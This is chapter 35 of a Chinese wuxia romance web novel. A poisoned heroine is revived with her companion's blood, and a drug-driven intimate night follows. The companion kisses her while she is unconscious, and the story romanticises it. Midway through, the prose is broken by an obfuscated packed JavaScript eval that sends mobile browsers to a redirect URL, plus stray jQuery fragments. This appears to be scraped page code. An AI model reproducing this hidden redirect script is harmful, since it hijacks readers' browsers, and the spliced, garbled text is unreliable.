35. 第 35 章

作品:《女魔头捡到绿茶小狗后

    好冷。


    明沅芷仿佛坠入了冰窖,眼前一阵发黑,耳边似乎有着呼啸而过的风声,再睁开眼只见面前是一片雪景。


    她仿佛又回到了当初去雪山上采草药的时候。


    奇珍异宝都长在悬崖峭壁之上,好在她有着内力护体,才能在雪山内坚持。


    耳边是雪山上的狂风,带着刺骨寒意的雪花,在她的面部凝结一层层的冰霜。


    恍然间,她仿佛看到了所需要的草药。


    就在眼前,明沅芷伸手去够,手腕却被拉住。


    顿时回神,她的手被另一只手拉住。


    雪山的景色瞬间消逝,连带刚刚眼前所见的漫天雪花,都在这一刻消失。面前依旧是神偷的那个草屋。


    拉住她的人,是夏淮清。


    夏淮清此时抱着她,一只手拉住她莫名前伸的指尖。


    不好,这是毒性在发作。


    理智稍稍回笼,明沅芷狠狠咬下自己的舌尖,舌尖传来一股血腥味。


    舌尖传来的痛感,让明沅芷勉强恢复了一丝理智。


    明沅芷强行运功,想要将毒性逼出。


    但是运功的那一刻,只觉得头顶再次晕眩,体内内力仿佛经过一个漩涡,被漩涡吸入逐渐消失。


    明沅芷强撑着动作,意识却逐渐消失,陷入昏迷。


    不知过了多久,明沅芷感觉到嘴边被喂进来了一些液体。


    明沅芷下意识地吞咽,嘴巴中味觉逐渐恢复,尝到了些许铁锈味。


    随着液体的吞咽下肚,一股热意从体内升起。


    此时的明沅芷正躺在黄婆婆给两人准备的房间内的大床上,浑身冒冷汗,意识全无,身体止不住颤抖。


    夏淮清侧躺在她身边,从怀中掏出一把匕首,迅速在胳膊上划出一道伤口。


    匕首划过,血液喷涌而出,星星点点落在床边。


    夏淮清将胳膊递在明沅芷嘴边,将伤口处抵在明沅芷唇边,直到血液进入她的口中。


    但是刀刃划过的伤痕,很快就开始愈合,不再有血液流出,夏淮清像是不知道痛一般,划下下一道伤口。


    夏淮清喘着粗气,手上做着取血祛毒的动作,心中的理智和欲念却在天人交战。


    曾经孤独的自己心中,肖想过的那些肮脏的不堪入目的画面,此时一个个翻腾出来。


    面前的是他朝思暮想八年的人。


    她正无知无觉地躺在他怀中,可以任他为所欲为。


    只要他想,只要他伸手,他就能……


    夏淮清没有取血的那只手,抚摸着明沅芷眉眼,感受着手下的颤动。


    只要他去做,明沅芷就能彻底属于他,只属于他一个人。


    没有那些什么阿猫阿狗、姐姐妹妹。


    伤口再次愈合,只留下浅浅的伤痕。


    夏淮清将手臂从明沅芷唇边移开,翻身撑在了明沅芷的身上。


    他的身体与明沅芷的身体,只有咫尺之遥。


    明沅芷身体仍在打着寒颤,口中呼出的气息都带着冰冷。夏淮清的手带着炙热,抚过的她的每寸肌肤都在轻颤。


    夏淮清眼眶通红,盯着明沅芷,喘息声越来越重。


    只要他想……


    夏淮清喘着粗气,闭了闭眼。


    他身体下压。


    眷恋地吻上了她的唇。


    明沅芷的唇那样柔软,当夏淮清贴上她的唇的那一刻,仿佛一切在他脑海中炸开。


    夏淮清身体止不住颤抖,身体的每一寸都在叫嚣着拥抱,许久之后,他从明沅芷的唇缝中尝到了她口中的血腥味。


    夏淮清吻了又吻,直到将心中的欲念全部压下,理智再次占了上风。


    他不舍地放开明沅芷的唇,拿过匕首再次在胳膊上狠狠划过,将伤口再次抵在明沅芷口中。


    夏淮清轻笑几声,眼神坚定,他不能容忍任何人伤害明沅芷,包括他自己。


    明沅芷身体的寒颤逐渐停了下来,代替体内散发的寒意的,是一种升腾而起的热意。


    明沅芷的思绪逐渐从昏迷中恢复,内力也随着口中铁锈味的液体的吞咽逐渐恢复,内力充盈自身有了力气。


    直到嘴边所抵之物消失,又过了许久,明沅芷的思绪一点点恢复,终于开始艰难地思考。


    她这是没死?按照神偷所言,她和夏淮清去往神偷的墓地时,闻到的那股异香,便是依兰香,依兰香单闻无毒,但是只要神偷放出另一个媚药,便会组合形成害人性命的剧毒。


    那她怎么会没死?


    明沅芷脑海中闪过这个问题,身体的感知逐渐恢复。


    随着感知的恢复,明沅芷感觉到全身上下如同火烧般的炙热,心中翻腾起得的一幕幕遐想的画面,明沅芷心中一颤。


    明沅芷费力睁开双眼,对上了夏淮清通红的双眸。


    看到她醒了,夏淮清一愣,眼底竟然含了泪花。


    明沅芷心中叹气,伸手拂过夏淮清的脸。


    身体从指尖相接的地方烧了起来。


    夏淮清感受着明沅芷的指尖,从眼角逐渐往下,划过脸颊、锁骨……


    他没有动作,僵在原地,任凭明沅芷的手在他身上动作。


    明沅芷感觉到自己脑海的迟钝,这种事情她好像不该做,但是好像往下夏淮清会更高兴。


    两人间的空气越来越热。


    明沅芷每每移动,都带来夏淮清身体的巨颤。


    夏淮清仿佛忍耐到了极限,倒在了她的身上,身体紧绷颤抖,像是在拼尽全力压抑着自己的动作。


    明沅芷知道自己的状况,夏淮清定然也处于同样的处境。


    耳边萦绕着全是喘息声,夏淮清的头贴在明沅芷的颈部,喘息而出的气息掠过明沅芷的颈边,激得明沅芷一阵阵轻颤。


    明沅芷的呼吸声也粗重起来,逐渐的分不清屋内是谁的呼吸声。


    明沅芷的手轻轻揽上夏淮清的后背,每次掌心的移动都带来身上人的轻颤,她好像发现了什么新的玩具,不厌其烦地一遍遍抚摸他的肩,感受着手下肌肉的颤抖、紧绷。


    她还欲往下,乱动的手却被夏淮清起身捉住。


    “不要……再撩拨我了。”夏淮清的话像是从齿缝间挤出。


    明沅芷一下从混沌中惊醒,看着夏淮清压抑的样子,她心中也会升起恻隐之心,反手握住夏淮清的手。


    位置变换,她伸手将夏淮清推倒在床上,反身压在他身上,轻笑道:“真的不要吗?”


    ……


    屋外由白逐渐转黑,月亮悄悄升起,周围恢复寂静,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124819|160594||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只剩虫鸣声陪伴。


    夏淮清脸颊到脖颈一片通红,脱力地喘息。


    明沅芷轻笑,却被夏淮清翻身压下。


    “让我也来帮你,好吗?”


    夏淮清在明沅芷耳边呢喃,在明沅芷本就通红的耳边上又烧了一把火。


    明沅芷揽上夏淮清的后背。


    ……


    清晨,阳光透过窗户缝隙打在明沅芷脸上。


    明沅芷苏醒,感到了久违的神清气爽。


    她身体留有宿疾,有些是当年被追杀时所受之伤,有些是为了采药所中的寒毒。


    好在有宋百草调理,再加上她靠内力压制,平日倒也无碍。就是每每活动间,总觉得身体稍有凝滞,略有沉重。


    像是这种清爽之感,她已经好多年都没体验过了。


    明沅芷稍微一偏头,就对上了夏淮清的脸。


    他还在沉睡,那张昳丽的脸已经恢复如常,不见昨晚的样子。


    两人衣衫不整,头发凌乱。床上也是一片混乱。


    明沅芷想到昨晚的一切,脸颊忍不住飘过一抹绯红。


    窗外微风拂过,将床边幔帐轻轻吹动,吹动两人发丝。


    明沅芷看着夏淮清,心中升腾起点点的快乐。


    她理了理夏淮清的衣领,心中做了一个决定。


    她要解决这一切,要洗清自己的名声。


    之前这些年,她多是躲躲藏藏,被无数人冤枉、误解,她自觉无所谓,不澄清也不影响她做想做的事。


    但是现在不一样,她要将当年的事情翻出来,要将每件事都一一说清楚。


    在所有的一切都说清之后。


    若是夏淮清还想要和她在一起。


    两人便可做一对神仙眷侣,惩恶扬善,行走江湖。


    想到此处,明沅芷嘴角勾起一抹微笑,竟然只是肖想之后的画面,都会让她感觉到幸福。


    夏淮清逐渐睁开双眼,一睁眼就看到明沅芷眼含笑意看着他。


    夏淮清一动身体,就发现两人的发丝纠缠在一起,难以解开。


    “我来解开。”明沅芷一出声,就发现自己的声音带着沙哑,她动作一顿,耳尖悄悄红了起来。


    夏淮清忍不住脸颊飘红,但仍拉住明沅芷的手,“昨晚……”


    明沅芷一把捂住夏淮清的嘴巴,“别说了。”


    虽然昨晚在药力作用下无所顾忌,但是此时天色已经大亮,再次提起就好像在白日宣淫一般。


    昨晚的画面和细节本就不断在明沅芷脑海中闪回,若是夏淮清再提起……


    她赶忙用些力捂住夏淮清想说话的嘴。


    夏淮清轻笑,起身收拾床上的混乱。


    明沅芷欲起身相帮,却被夏淮清阻止。


    床铺间,明沅芷却看到床铺上有着点点血迹。


    “你受伤了?”明沅芷一下子就紧张起来,指着血迹问。


    夏淮清一愣,随后摇摇头,“没有受伤。”


    明沅芷不信,拉过夏淮清一顿检查。


    确实没有发现伤痕,在胳膊上倒是发现了几道浅浅的白色痕迹,就像是愈合不久的伤疤,但是掩盖在夏淮清本身的伤疤之下,看起来不太显眼。


    明沅芷想要伸手触碰,却被夏淮清躲闪开来。